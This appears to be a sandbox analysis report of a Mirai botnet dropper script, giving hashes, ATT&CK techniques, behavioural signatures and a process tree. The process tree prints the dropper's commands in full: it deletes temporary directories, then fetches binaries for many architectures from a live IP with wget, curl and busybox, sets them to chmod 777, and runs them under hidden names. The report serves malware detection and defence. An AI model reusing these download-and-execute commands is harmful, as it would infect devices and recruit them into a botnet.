mirai | fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05

Analysis

max time kernel
79s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260126-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
18/04/2026, 05:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh
Size 4KB
Sample260418-ftvm8ag19z
SHA256 fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05
MD5 83c11030f4309aad0bb98d7d2ea12e2d
SHA1 cb6cac324518e28df9bee512333a2329c8df2ef0
SHA512 29f7e5e71ce58320f9a5ba16586279db4e8430ae112b258106549fc357cc6772b5e44d72bc0bf1ea5995d1314832644afac5e7c02d3000afe4efe1df6a987598
SSDEEP 48:RWZC+N9iGyv92z9JY96p9Lq9/2919Wx99A9U9V9T7O9YQbMdMg9e9TTAskU9fNdF:Rf7mMTWVTAski/
TLSH
T18E91C387A561CC771DF19F0233936B70A4C0CE932CA7DFA8D9DD08AE69A4514328F997
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

botnet defense_evasion discovery mirai

Malware Config

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Contacts a large (148473) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 16 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1551	chmod
1586	chmod
1593	chmod
1558	chmod
1565	chmod
1572	chmod
1579	chmod
1600	chmod
1614	chmod
1509	chmod
1523	chmod
1537	chmod
1544	chmod
1607	chmod
1621	chmod
1530	chmod

Deletes itself 1 IoCs

pid	Process
1511	.x86

Executes dropped EXE 1 IoCs

ioc	pid	Process
/var/tmp/.x86	1511	_fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	.x86
File opened for modification	/dev/misc/watchdog	.x86

Traces itself 3 IoCs

Traces itself to prevent debugging attempts

pid	Process
1519	.x86
1518	.x86
1517	.x86

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 4 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	httpd	1511	.x86
Changes the process name, possibly in an attempt to hide itself		1519	.x86
Changes the process name, possibly in an attempt to hide itself		1518	.x86
Changes the process name, possibly in an attempt to hide itself		1517	.x86

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1492/cmdline	.x86
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/247/cmdline	.x86
File opened for reading	/proc/428/cmdline	.x86
File opened for reading	/proc/600/cmdline	.x86
File opened for reading	/proc/1024/cmdline	.x86
File opened for reading	/proc/1034/cmdline	.x86
File opened for reading	/proc/1069/cmdline	.x86
File opened for reading	/proc/31/cmdline	.x86
File opened for reading	/proc/159/cmdline	.x86
File opened for reading	/proc/270/cmdline	.x86
File opened for reading	/proc/444/cmdline	.x86
File opened for reading	/proc/948/cmdline	.x86
File opened for reading	/proc/1074/cmdline	.x86
File opened for reading	/proc/1111/cmdline	.x86
File opened for reading	/proc/1331/cmdline	.x86
File opened for reading	/proc/5/cmdline	.x86
File opened for reading	/proc/669/cmdline	.x86
File opened for reading	/proc/1070/cmdline	.x86
File opened for reading	/proc/1157/cmdline	.x86
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/24/cmdline	.x86
File opened for reading	/proc/83/cmdline	.x86
File opened for reading	/proc/989/cmdline	.x86
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/999/cmdline	.x86
File opened for reading	/proc/1175/cmdline	.x86
File opened for reading	/proc/1195/cmdline	.x86
File opened for reading	/proc/1513/cmdline	.x86
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/160/cmdline	.x86
File opened for reading	/proc/667/cmdline	.x86
File opened for reading	/proc/970/cmdline	.x86
File opened for reading	/proc/1029/cmdline	.x86
File opened for reading	/proc/1170/cmdline	.x86
File opened for reading	/proc/1519/cmdline	.x86
File opened for reading	/proc/28/cmdline	.x86
File opened for reading	/proc/465/cmdline	.x86
File opened for reading	/proc/636/cmdline	.x86
File opened for reading	/proc/956/cmdline	.x86
File opened for reading	/proc/1032/cmdline	.x86
File opened for reading	/proc/1143/cmdline	.x86
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/7/cmdline	.x86
File opened for reading	/proc/25/cmdline	.x86
File opened for reading	/proc/30/cmdline	.x86
File opened for reading	/proc/34/cmdline	.x86
File opened for reading	/proc/170/cmdline	.x86
File opened for reading	/proc/115/cmdline	.x86
File opened for reading	/proc/455/cmdline	.x86
File opened for reading	/proc/882/cmdline	.x86
File opened for reading	/proc/923/cmdline	.x86
File opened for reading	/proc/1144/cmdline	.x86
File opened for reading	/proc/1515/cmdline	.x86
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/15/cmdline	.x86
File opened for reading	/proc/16/cmdline	.x86
File opened for reading	/proc/17/cmdline	.x86
File opened for reading	/proc/82/cmdline	.x86
File opened for reading	/proc/98/cmdline	.x86
File opened for reading	/proc/36/cmdline	.x86
File opened for reading	/proc/174/cmdline	.x86
File opened for reading	/proc/175/cmdline	.x86

System Network Configuration Discovery 1 TTPs 11 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1588	.mips
1590	wget
1592	busybox
1595	.mips64
1602	.mpsl
1583	wget
1584	curl
1587	mv
1591	curl
1594	mv
1585	busybox

/tmp/_fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh
/tmp/_fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh
1⤵
- Executes dropped EXE
PID:1496
- /bin/rm
  rm -rf /var/tmp/systemd-private-3ce0d75d44d3411e9a8408bc1302b39e-bolt.service-0Ha6Fc /var/tmp/systemd-private-3ce0d75d44d3411e9a8408bc1302b39e-colord.service-UdKJ8i /var/tmp/systemd-private-3ce0d75d44d3411e9a8408bc1302b39e-ModemManager.service-kcYnRr /var/tmp/systemd-private-3ce0d75d44d3411e9a8408bc1302b39e-systemd-resolved.service-4Tp7gD /var/tmp/systemd-private-3ce0d75d44d3411e9a8408bc1302b39e-systemd-timedated.service-yJu5bI
  2⤵
  PID:1497
- /bin/rm
  rm -rf "/var/tmp/*"
  2⤵
  PID:1498
- /bin/rm
  rm -rf /tmp/. /tmp/.. /tmp/.font-unix /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix
  2⤵
  PID:1499
- /bin/rm
  rm -rf /tmp/. /tmp/..
  2⤵
  PID:1500
- /bin/rm
  rm -f .perm_test
  2⤵
  PID:1502
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_x86
  2⤵
  PID:1503
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_x86
  2⤵
  PID:1507
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_x86
  2⤵
  PID:1508
- /bin/chmod
  chmod 777 ciubuc_x86
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /bin/mv
  mv ciubuc_x86 .x86
  2⤵
  PID:1510
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1512
- /var/tmp/.x86
  ./.x86 x86_64
  2⤵
  - Deletes itself
  - Modifies Watchdog functionality
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  PID:1511
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_aarch64
  2⤵
  PID:1520
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_aarch64
  2⤵
  PID:1521
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_aarch64
  2⤵
  PID:1522
- /bin/chmod
  chmod 777 ciubuc_aarch64
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /bin/mv
  mv ciubuc_aarch64 .aarch64
  2⤵
  - Reads runtime system information
  PID:1524
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1526
- /var/tmp/.aarch64
  ./.aarch64 aarch64
  2⤵
  PID:1525
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_arm
  2⤵
  PID:1527
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_arm
  2⤵
  PID:1528
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_arm
  2⤵
  PID:1529
- /bin/chmod
  chmod 777 ciubuc_arm
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /bin/mv
  mv ciubuc_arm .arm
  2⤵
  PID:1531
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1533
- /var/tmp/.arm
  ./.arm armv4
  2⤵
  PID:1532
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_arm5
  2⤵
  PID:1534
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_arm5
  2⤵
  PID:1535
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_arm5
  2⤵
  PID:1536
- /bin/chmod
  chmod 777 ciubuc_arm5
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /bin/mv
  mv ciubuc_arm5 .arm5
  2⤵
  PID:1538
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1540
- /var/tmp/.arm5
  ./.arm5 armv5
  2⤵
  PID:1539
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_arm6
  2⤵
  PID:1541
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_arm6
  2⤵
  PID:1542
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_arm6
  2⤵
  PID:1543
- /bin/chmod
  chmod 777 ciubuc_arm6
  2⤵
  - File and Directory Permissions Modification
  PID:1544
- /bin/mv
  mv ciubuc_arm6 .arm6
  2⤵
  - Reads runtime system information
  PID:1545
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1547
- /var/tmp/.arm6
  ./.arm6 armv6
  2⤵
  PID:1546
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_arm7
  2⤵
  PID:1548
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_arm7
  2⤵
  PID:1549
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_arm7
  2⤵
  PID:1550
- /bin/chmod
  chmod 777 ciubuc_arm7
  2⤵
  - File and Directory Permissions Modification
  PID:1551
- /bin/mv
  mv ciubuc_arm7 .arm7
  2⤵
  PID:1552
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1554
- /var/tmp/.arm7
  ./.arm7 armv7
  2⤵
  PID:1553
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_i486
  2⤵
  PID:1555
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_i486
  2⤵
  PID:1556
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_i486
  2⤵
  PID:1557
- /bin/chmod
  chmod 777 ciubuc_i486
  2⤵
  - File and Directory Permissions Modification
  PID:1558
- /bin/mv
  mv ciubuc_i486 .i486
  2⤵
  PID:1559
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1561
- /var/tmp/.i486
  ./.i486 i486
  2⤵
  PID:1560
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_i586
  2⤵
  PID:1562
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_i586
  2⤵
  PID:1563
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_i586
  2⤵
  PID:1564
- /bin/chmod
  chmod 777 ciubuc_i586
  2⤵
  - File and Directory Permissions Modification
  PID:1565
- /bin/mv
  mv ciubuc_i586 .i586
  2⤵
  - Reads runtime system information
  PID:1566
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1568
- /var/tmp/.i586
  ./.i586 i586
  2⤵
  PID:1567
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_i686
  2⤵
  PID:1569
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_i686
  2⤵
  PID:1570
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_i686
  2⤵
  PID:1571
- /bin/chmod
  chmod 777 ciubuc_i686
  2⤵
  - File and Directory Permissions Modification
  PID:1572
- /bin/mv
  mv ciubuc_i686 .i686
  2⤵
  PID:1573
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1575
- /var/tmp/.i686
  ./.i686 i686
  2⤵
  PID:1574
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_m68k
  2⤵
  PID:1576
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_m68k
  2⤵
  PID:1577
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_m68k
  2⤵
  PID:1578
- /bin/chmod
  chmod 777 ciubuc_m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1579
- /bin/mv
  mv ciubuc_m68k .m68k
  2⤵
  - Reads runtime system information
  PID:1580
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1582
- /var/tmp/.m68k
  ./.m68k m68k
  2⤵
  PID:1581
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_mips
  2⤵
  - System Network Configuration Discovery
  PID:1583
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_mips
  2⤵
  - System Network Configuration Discovery
  PID:1584
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_mips
  2⤵
  - System Network Configuration Discovery
  PID:1585
- /bin/chmod
  chmod 777 ciubuc_mips
  2⤵
  - File and Directory Permissions Modification
  PID:1586
- /bin/mv
  mv ciubuc_mips .mips
  2⤵
  - System Network Configuration Discovery
  PID:1587
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1589
- /var/tmp/.mips
  ./.mips mips
  2⤵
  - System Network Configuration Discovery
  PID:1588
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_mips64
  2⤵
  - System Network Configuration Discovery
  PID:1590
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_mips64
  2⤵
  - System Network Configuration Discovery
  PID:1591
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_mips64
  2⤵
  - System Network Configuration Discovery
  PID:1592
- /bin/chmod
  chmod 777 ciubuc_mips64
  2⤵
  - File and Directory Permissions Modification
  PID:1593
- /bin/mv
  mv ciubuc_mips64 .mips64
  2⤵
  - System Network Configuration Discovery
  PID:1594
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1596
- /var/tmp/.mips64
  ./.mips64 mips64
  2⤵
  - System Network Configuration Discovery
  PID:1595
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_mpsl
  2⤵
  PID:1597
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_mpsl
  2⤵
  PID:1598
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_mpsl
  2⤵
  PID:1599
- /bin/chmod
  chmod 777 ciubuc_mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:1600
- /bin/mv
  mv ciubuc_mpsl .mpsl
  2⤵
  PID:1601
- /var/tmp/.mpsl
  ./.mpsl mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1602
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1603
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_ppc
  2⤵
  PID:1604
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_ppc
  2⤵
  PID:1605
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_ppc
  2⤵
  PID:1606
- /bin/chmod
  chmod 777 ciubuc_ppc
  2⤵
  - File and Directory Permissions Modification
  PID:1607
- /bin/mv
  mv ciubuc_ppc .ppc
  2⤵
  - Reads runtime system information
  PID:1608
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1610
- /var/tmp/.ppc
  ./.ppc powerpc
  2⤵
  PID:1609
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_sh4
  2⤵
  PID:1611
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_sh4
  2⤵
  PID:1612
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_sh4
  2⤵
  PID:1613
- /bin/chmod
  chmod 777 ciubuc_sh4
  2⤵
  - File and Directory Permissions Modification
  PID:1614
- /bin/mv
  mv ciubuc_sh4 .sh4
  2⤵
  - Reads runtime system information
  PID:1615
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1617
- /var/tmp/.sh4
  ./.sh4 sh4
  2⤵
  PID:1616
- /usr/bin/wget
  wget -q 43.228.157.130/static/ciubuc_spc
  2⤵
  PID:1618
- /usr/bin/curl
  curl -s -L -O 43.228.157.130/static/ciubuc_spc
  2⤵
  PID:1619
- /bin/busybox
  busybox wget http://43.228.157.130/static/ciubuc_spc
  2⤵
  PID:1620
- /bin/chmod
  chmod 777 ciubuc_spc
  2⤵
  - File and Directory Permissions Modification
  PID:1621
- /bin/mv
  mv ciubuc_spc .spc
  2⤵
  - Reads runtime system information
  PID:1622
- /bin/grep
  grep "Who loves the sun"
  2⤵
  PID:1624
- /var/tmp/.spc
  ./.spc sparc
  2⤵
  PID:1623
- /bin/rm
  rm -rf . ..
  2⤵
  PID:1625

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ciubuc_x86

Path /var/tmp/ciubuc_x86
Size 2.3MB
SHA256 47a6be407d3f7d633b396e32f3f9c11dec9c7e7761650bf1ca3d0ec51886ec11
MD5 562dd0e546942e44488654787db7c6b9
SHA1 0448c1ef0ba2cc9498a00d6f9e6a74b0514da761
SHA512 4e3c95ce832195d4435cb4ccb1a3d24b511b673ce38b355d8bbccb02577f6d4be87af8fb9f65137e4a3ab4411efabe20fed4d7f3af59bc2d47434a7e6c7062f5
SSDEEP 49152:Sx8SdDeQetAaEMuLZLEQFibuVfDidafpekVpDf:GdmtoZiYfpeA
TLSH
T1A2B56B43E683C0F1EA1206B11117F7379A399A154136C9A3EF98AD39AE71742E71E37C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download